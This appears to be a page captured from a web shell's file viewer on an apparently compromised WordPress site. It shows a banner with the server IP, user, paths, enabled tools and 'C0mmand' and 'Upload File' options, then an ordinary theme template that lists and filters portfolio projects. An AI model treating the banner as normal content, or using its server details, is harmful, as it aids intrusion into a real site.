|
Server IP : 89.26.249.46 / Your IP : 216.73.216.42 Web Server : Apache System : Linux a.cp.cloudlink.pt 4.18.0-553.121.1.lve.el8.x86_64 #1 SMP Thu Apr 30 16:40:41 UTC 2026 x86_64 User : eticalga ( 1129) PHP Version : 8.3.31 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/eticalga/www/files/themes/kobuxeticalgarve/templates/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
/**
* Template Name: Portfólio
*
* @package kobuxeticalgarve
*/
get_header();
?>
<div id="content">
<?php while (have_posts()) : the_post(); ?>
<?php include(locate_template('partials/page-top.php')); ?>
<div class="site-content">
<div class="container large">
<?php get_template_part(
'partials/archive-filters',
'',
array(
'posttype' => 'projects'
)
); ?>
</div>
<?php
$current_page = (get_query_var('paged')) ? get_query_var('paged') : 1;
$args = array(
'post_type' => array('projects'),
'post_status' => array('publish'),
'posts_per_page' => get_option('posts_per_page'),
'paged' => $current_page,
'orderby' => 'date',
'order' => 'DESC',
);
$featured_projects = array();
if ($projects_archive = get_field('projects_archive', 'options')) {
if ($featured_projects = get_field('featured_projects', $projects_archive)) {
$featured_count = count($featured_projects);
$remaining_posts_per_page = ($current_page === 1)
? max($posts_per_page - $featured_count, 0)
: $posts_per_page;
// Calculate offset to keep pagination continuous
$offset = 0;
if ($current_page > 1) {
// For page 2, we’ve already shown (posts_per_page - featured_count) on page 1
// So we offset by that smaller number + all full pages before
$offset = ($posts_per_page - $featured_count) + ($posts_per_page * ($current_page - 2));
}
$args['posts_per_page'] = $remaining_posts_per_page;
$args['offset'] = $offset;
$args['post__not_in'] = $featured_projects;
}
}
// Taxonomy queries
$tax_query = array();
if ($post_series_query = kobuxeticalgarve_get_query_var('series')) {
$tax_query[] = array(
'taxonomy' => 'series',
'field' => 'slug',
'terms' => $post_series_query,
);
}
if ($post_funding_query = kobuxeticalgarve_get_query_var('financiamento')) {
$tax_query[] = array(
'taxonomy' => 'funding',
'field' => 'slug',
'terms' => $post_funding_query,
);
}
if ($post_training_area_query = kobuxeticalgarve_get_query_var('area-de-formacao')) {
$tax_query[] = array(
'taxonomy' => 'training-area',
'field' => 'slug',
'terms' => $post_training_area_query,
);
}
if (count($tax_query) > 0) {
if (count($tax_query) > 1) {
$tax_query['relation'] = 'AND';
}
$args['tax_query'] = $tax_query;
}
// Course filter
if ($post_courses_query = kobuxeticalgarve_get_query_var('cursos')) {
// Get course IDs from slugs
$course_ids = array();
foreach ($post_courses_query as $slug) {
$course_post = get_page_by_path($slug, OBJECT, 'course');
if ($course_post && !empty($course_post->ID)) {
$course_ids[] = $course_post->ID;
}
}
if (!empty($course_ids)) {
$meta_query = array();
foreach ($course_ids as $course_id) {
$meta_query[] = array(
'key' => 'related_course',
'value' => '"' . $course_id . '"', // ACF relationship stores serialized array of IDs
'compare' => 'LIKE'
);
}
if (count($meta_query) > 1) {
$meta_query['relation'] = 'OR';
}
$args['meta_query'] = $meta_query;
}
}
?>
<div class="container xlarge">
<input id="posts-currentpage" type="hidden" name="currentpage" value="<?php echo $current_page; ?>">
<div id="posts-wrapper">
<?php
$kobu_query = new WP_Query($args);
$max_pages = $kobu_query->max_num_pages;
if ($kobu_query->have_posts() || $featured_projects) { ?>
<?php kobuxeticalgarve_jump_page('prev', $current_page, $max_pages); ?>
<ul class="articles-list">
<?php if ($featured_projects && $current_page == 1) {
foreach ($featured_projects as $post) {
setup_postdata($post);
$featured_project_id = get_the_ID();
include(locate_template('partials/project-card.php'));
};
wp_reset_postdata();
$featured_project_id = null;
} ?>
<?php
while ($kobu_query->have_posts()) : $kobu_query->the_post();
include(locate_template('partials/project-card.php'));
endwhile;
?>
</ul>
<?php kobuxeticalgarve_jump_page('next', $current_page, $max_pages); ?>
<?php } else { ?>
<ul class="articles-list empty-content">
<?php get_template_part('content', 'none'); ?>
</ul>
<?php } ?>
<?php wp_reset_postdata(); ?>
</div>
</div>
<?php
the_content();
?>
</div>
<?php endwhile; ?>
</div>
<?php get_footer(); ?>